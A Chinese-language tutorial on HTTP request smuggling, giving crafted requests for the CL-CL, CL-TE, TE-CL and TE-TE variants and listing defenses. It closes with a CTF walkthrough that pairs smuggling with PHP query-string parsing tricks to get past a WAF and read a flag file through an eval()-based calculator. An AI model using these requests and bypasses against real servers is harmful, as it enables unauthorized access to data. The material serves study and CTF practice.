0X01:什么是HTTP請求走私
HTTP請求走私屬於協議層攻擊,是服務器漏洞的一種。
HTTP請求走私是一種干擾網站處理從一個或多個用戶接收的HTTP請求序列的方式的技術。使攻擊者可以繞過安全控制,未經授權訪問敏感數據並直接危害其他應用程序用戶。
一般來說,反向代理服務器與后端的源站服務器之間,會重用TCP鏈接。這也很容易理解,用戶的分布范圍是十分廣泛,建立連接的時間也是不確定的,這樣TCP鏈接就很難重用,而代理服務器與后端的源站服務器的IP地址是相對固定,不同用戶的請求通過代理服務器與源站服務器建立鏈接,這兩者之間的TCP鏈接進行重用,也就順理成章了。當我們向代理服務器發送一個比較模糊的HTTP請求時,由於兩者服務器的實現方式不同,可能代理服務器認為這是一個HTTP請求,然后將其轉發給了后端的源站服務器,但源站服務器經過解析處理后,只認為其中的一部分為正常請求,剩下的那一部分,就算是走私的請求,當該部分對正常用戶的請求造成了影響之后,就實現了HTTP走私攻擊。
0x02:漏洞產生原因
HTTP請求走私這一攻擊方式很特殊,它不像其他的Web攻擊方式那樣比較直觀,它更多的是在復雜網絡環境下,不同的服務器對RFC標准實現的方式不同,程度不同。這樣一來,對同一個HTTP請求,不同的服務器可能會產生不同的處理結果,這樣就產生了了安全風險.
繼續了解HTTP走私,就要開始研究HTTP1.1協議:
如今使用最為廣泛的HTTP 1.1的協議特性——Keep-Alive&Pipeline。
Keep-Alive:
在HTTP請求中增加一個特殊的請求頭Connection: Keep-Alive,告訴服務器,接收完這次HTTP請求后,不要關閉TCP鏈接,后面對相同目標服務器的HTTP請求,重用這一個TCP鏈接。這樣只需要進行一次TCP握手的過程,可以減少服務器的開銷,節約資源,還能加快訪問速度。這個特性在HTTP1.1中默認開啟的。
Pipeline(http管線化):
http管線化是一項實現了多個http請求但不需要等待響應就能夠寫進同一個socket的技術,僅有http1.1規范支持http管線化。在這里,客戶端可以像流水線一樣發送自己的HTTP請求,而不需要等待服務器的響應,服務器那邊接收到請求后,需要遵循先入先出機制,將請求和響應嚴格對應起來,再將響應發送給客戶端。
現如今,瀏覽器默認是不啟用Pipeline的,但是一般的服務器都提供了對Pipleline的支持。
0x03
實現HTTP走私
HTTP請求走私攻擊涉及將Content-Length標頭和Transfer-Encoding標頭都放置在單個HTTP請求中並進行處理,以便前端服務器和后端服務器以不同的方式處理請求。完成此操作的確切方式取決於兩個服務器的行為:
CL.TE:前端服務器使用Content-Length標頭,而后端服務器使用Transfer-Encoding標頭。
TE.CL:前端服務器使用Transfer-Encoding標頭,而后端服務器使用Content-Length標頭。
TE.TE:前端服務器和后端服務器都支持Transfer-Encoding標頭,但是可以通過對標頭進行某種方式的混淆來誘導其中一台服務器不對其進行處理。
為了提升用戶的瀏覽速度,提高使用體驗,減輕服務器的負擔,很多網站都用上了CDN加速服務,最簡單的加速服務,就是在源站的前面加上一個具有緩存功能的反向代理服務器,用戶在請求某些靜態資源時,直接從代理服務器中就可以獲取到,不用再從源站所在服務器獲取。
一般來說,反向代理服務器與后端的源站服務器之間,會重用TCP鏈接。這也很容易理解,用戶的分布范圍是十分廣泛,建立連接的時間也是不確定的,這樣TCP鏈接就很難重用,而代理服務器與后端的源站服務器的IP地址是相對固定,不同用戶的請求通過代理服務器與源站服務器建立鏈接,這兩者之間的TCP鏈接進行重用,也就順理成章了。
當我們向代理服務器發送一個比較模糊的HTTP請求時,由於兩者服務器的實現方式不同,可能代理服務器認為這是一個HTTP請求,然后將其轉發給了后端的源站服務器,但源站服務器經過解析處理后,只認為其中的一部分為正常請求,剩下的那一部分,就算是走私的請求,當該部分對正常用戶的請求造成了影響之后,就實現了HTTP走私攻擊。
**0x04
HTTP請求走私攻擊的五種方式
CL不為0
所有不攜帶請求體的HTTP請求都有可能受此影響。這里用GET請求舉例。
前端代理服務器允許GET請求攜帶請求體;后端服務器不允許GET請求攜帶請求體,它會直接忽略掉GET請求中的Content-Length頭,不進行處理。這就有可能導致請求走私。
構造請求示例:
GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 44\r\n
GET / secret HTTP/1.1\r\n
Host: test.com\r\n\r\n
\r\n是換行的意思,windows的換行是\r\n,unix的是\n,mac的是\r
攻擊流程:
前端服務器收到該請求,讀取Content-Length,判斷這是一個完整的請求。
然后轉發給后端服務器,后端服務器收到后,因為它不對Content-Length進行處理,由於Pipeline的存在,后端服務器就認為這是收到了兩個請求,分別是:
第一個:
GET / HTTP/1.1\r\n
Host: test.com\r\n
第二個:
GET / secret HTTP/1.1\r\n
Host: test.com\r\n
所以造成了請求走私。
CL-CL
RFC7230規范
在RFC7230的第3.3.3節中的第四條中,規定當服務器收到的請求中包含兩個Content-Length,而且兩者的值不同時,需要返回400錯誤。
有些服務器不會嚴格的實現該規范,假設中間的代理服務器和后端的源站服務器在收到類似的請求時,都不會返回400錯誤。
但是中間代理服務器按照第一個Content-Length的值對請求進行處理,而后端源站服務器按照第二個Content-Length的值進行處理。
構造請求示例:
POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
攻擊流程:
中間代理服務器獲取到的數據包的長度為8,將上述整個數據包原封不動的轉發給后端的源站服務器。
而后端服務器獲取到的數據包長度為7。當讀取完前7個字符后,后端服務器認為已經讀取完畢,然后生成對應的響應,發送出去。而此時的緩沖區去還剩余一個字母a,對於后端服務器來說,這個a是下一個請求的一部分,但是還沒有傳輸完畢。
如果此時有一個其他的正常用戶對服務器進行了請求:
GET /index.html HTTP/1.1\r\n
Host: test.com\r\n
因為代理服務器與源站服務器之間一般會重用TCP連接。所以正常用戶的請求就拼接到了字母a的后面,當后端服務器接收完畢后,它實際處理的請求其實是:
aGET /index.html HTTP/1.1\r\n
Host: test.com\r\n
這時,用戶就會收到一個類似於aGET request method not found的報錯。這樣就實現了一次HTTP走私攻擊,而且還對正常用戶的行為造成了影響,而且還可以擴展成類似於CSRF的攻擊方式。
但是一般的服務器都不會接受這種存在兩個請求頭的請求包。該怎么辦呢?所以想到前面所說的
RFC2616規范
如果收到同時存在Content-Length和Transfer-Encoding這兩個請求頭的請求包時,在處理的時候必須忽略Content-Length。
所以請求包中同時包含這兩個請求頭並不算違規,服務器也不需要返回400錯誤。導致服務器在這里的實現更容易出問題.
CL-TE
CL-TE,就是當收到存在兩個請求頭的請求包時,前端代理服務器只處理Content-Length請求頭,而后端服務器會遵守RFC2616的規定,忽略掉Content-Length,處理Transfer-Encoding請求頭。
chunk傳輸數據(size的值由16進制表示)
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]
chunked編碼
參考:http協議中content-length 以及chunked編碼分析:
https://blog.csdn.net/yankai0219/article/details/8269922
構造請求示例:
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n\r\n0\r\n\r\n
a
連續發送幾次請求就可以獲得響應。
攻擊流程:
由於前端服務器處理Content-Length,所以這個請求對於它來說是一個完整的請求,請求體的長度為6,也就是
0\r\n
\r\n
a
當請求包經過代理服務器轉發給后端服務器時,后端服務器處理Transfer-Encoding,當它讀取到
0\r\n
\r\n
認為已經讀取到結尾了。
但剩下的字母a就被留在了緩沖區中,等待下一次請求。當我們重復發送請求后,發送的請求在后端服務器拼接成了類似下面這種請求:
aPOST / HTTP/1.1\r\n
Host: test.com\r\n
......
服務器在解析時就會產生報錯了,從而造成HTTP請求走私。
TE-CL
TE-CL,就是當收到存在兩個請求頭的請求包時,前端代理服務器處理Transfer-Encoding請求頭,后端服務器處理Content-Length請求頭。
構造請求示例:
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n\r\n12\r\n
aPOST / HTTP/1.1\r\n\r\n0\r\n\r\n
攻擊流程:
前端服務器處理Transfer-Encoding,當其讀取到
0\r\n
\r\n
認為是讀取完畢了。
此時這個請求對代理服務器來說是一個完整的請求,然后轉發給后端服務器,后端服務器處理Content-Length請求頭,因為請求體的長度為4.也就是當它讀取完
12\r\n
就認為這個請求已經結束了。后面的數據就認為是另一個請求:
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
成功報錯,造成HTTP請求走私。
TE-TE
TE-TE,當收到存在兩個請求頭的請求包時,前后端服務器都處理Transfer-Encoding請求頭,確實是實現了RFC的標准。不過前后端服務器不是同一種。這就有了一種方法,我們可以對發送的請求包中的Transfer-Encoding進行某種混淆操作(如某個字符改變大小寫),從而使其中一個服務器不處理Transfer-Encoding請求頭。在某種意義上這還是CL-TE或者TE-CL。
構造請求示例:
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\nx=1\r\n
0\r\n\r\n
攻擊流程:
前端服務器處理Transfer-Encoding,當其讀取到
0\r\n
\r\n
認為是讀取結束。
此時這個請求對代理服務器來說是一個完整的請求,然后轉發給后端服務器處理Transfer-encoding請求頭,將Transfer-Encoding隱藏在服務端的一個chain中時,它將會回退到使用Content-Length去發送請求。讀取到
5c\r\n
認為是讀取完畢了。后面的數據就認為是另一個請求:
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\nx=1\r\n
0\r\n
\r\n
成功報錯,造成HTTP請求走私。
0x05: 防御方法
禁用代理服務器和后端服務器之間的TCP連接重用(但這樣會加大服務器的壓力)。
使用HTTP/2協議。
前后端服務器配置相同。
最根本的也是最難做到的:嚴格的實現RFC7230-7235中所規定的的標准。
徹底拒絕模糊的請求,並刪除關聯的連接。
0x06 通過一道CTF題目實戰
剛開始打開題目就感覺有點像國賽初賽,查看源代碼發現calc.php
訪問
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}?>
發現較國賽初賽,去掉了長度限制,卻增加了一堆過濾。
源代碼里提到了增加了WAF,應該是過濾一些非法字符。
測試發現當我們提交一些字符時,會直接403。4應該就是走私報錯了,經測試發現的確存在服務器存在http走私漏洞,可以用來繞waf。
用到幾個php幾個數學函數。
我們首先要構造列目錄的payload,肯定要使用scandir函數,嘗試構造列舉根目錄下的文件。scandir可以用base_convert函數構造,但是利用base_convert只能解決az的利用,因為根目錄需要/符號,且不在az,所以需要hex2bin(dechex(47))這種構造方式,dechex() 函數把十進制數轉換為十六進制數。hex2bin() 函數把十六進制值的字符串轉換為 ASCII 字符。
注:
scandir() 函數:返回指定目錄中的文件和目錄的數組。
base_convert() 函數:在任意進制之間轉換數字。
dechex() 函數:把十進制轉換為十六進制。
hex2bin() 函數:把十六進制值的字符串轉換為 ASCII 字符。
var_dump() :函數用於輸出變量的相關信息。
readfile() 函數:
輸出一個文件。該函數讀入一個文件並寫入到輸出緩沖。若成功,則返回從文件中讀入的字節數。若失敗,則返回 false。您可以通過 @readfile() 形式調用該函數,來隱藏錯誤信息。
語法:readfile(filename,include_path,context)
利用HTTP走私(CL-CL)開始測試
改變一下請求方式測試:
發現phpinfo()解析成功
接下來想辦法繞過過濾拼接字符串查看目錄
使用scandir()函數、readfile()函數、base_convert()函數、dechex() 函數、hex2bin() 函數(chr()函數)
36進制scandir->10進制61693386291
36進制readfile->10進制2146934604002
ascii碼/->16進制2f->10進制47
36進制f1agg->10進制25254448(讀取根目錄得到的)
1、列目錄
首先要使用scandir()函數,嘗試構造payload列舉根目錄下的文件。scandir()可以用base_convert()函數構造,但是利用base_convert()只能解決a~z的利用。
因為根目錄需要/符號,且不在a~z,所以需要hex2bin(dechex(47))這種構造方式,dechex() 函數把十進制數轉換為十六進制數。hex2bin() 函數把十六進制值的字符串轉換為 ASCII 字符。當然,也可以直接用chr()函數
payload
var_dump(base_convert(61693386291,10,36)(chr(47)))
看到目錄中有flagg
想辦法讀flagg這個文件
我們就可以使用readfile函數來讀取這個文件
payload
var_dump(base_convert(2146934604002,10,36(chr(47).base_convert(25254448,10,36)))
得到flag
期間可能會有請求不成功,多試幾次就好啦
解法二
還可以利用
PHP的字符串解析特性
來進行繞過WAF
看網上師傅們博客
我們知道PHP將查詢字符串(在URL或正文中)轉換為內部$_GET或的關聯數組$_POST。例如:/?foo=bar變成Array([foo] => “bar”)。值得注意的是,查詢字符串在解析的過程中會將某些字符刪除或用下划線代替。例如,/?%20news[id%00=42會轉換為Array([news_id] => 42)。如果一個IDS/IPS或WAF中有一條規則是當news_id參數的值是一個非數字的值則攔截,那么我們就可以用以下語句繞過:
/news.php?%20news[id%00=42"+AND+1=0–
上述PHP語句的參數%20news[id%00的值將存儲到$_GET[“news_id”]中。
PHP需要將所有參數轉換為有效的變量名,因此在解析查詢字符串時,它會做兩件事:
1.刪除空白符
2.將某些字符轉換為下划線(包括空格)
假如waf不允許num變量傳遞字母:
http://www.xxx.com/index.php?num = test //顯示非法輸入的話
那么我們可以在num前加個空格:
http://www.xxx.com/index.php? num = test
這樣waf就找不到num這個變量了,因為現在的變量叫“ num”,而不是“num”。但php在解析的時候,會先把空格給去掉,這樣我們的代碼還能正常運行,還上傳了非法字符。
所以我們可以構造這樣一個payload
calc.php num=1;var_dump(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
參考鏈接: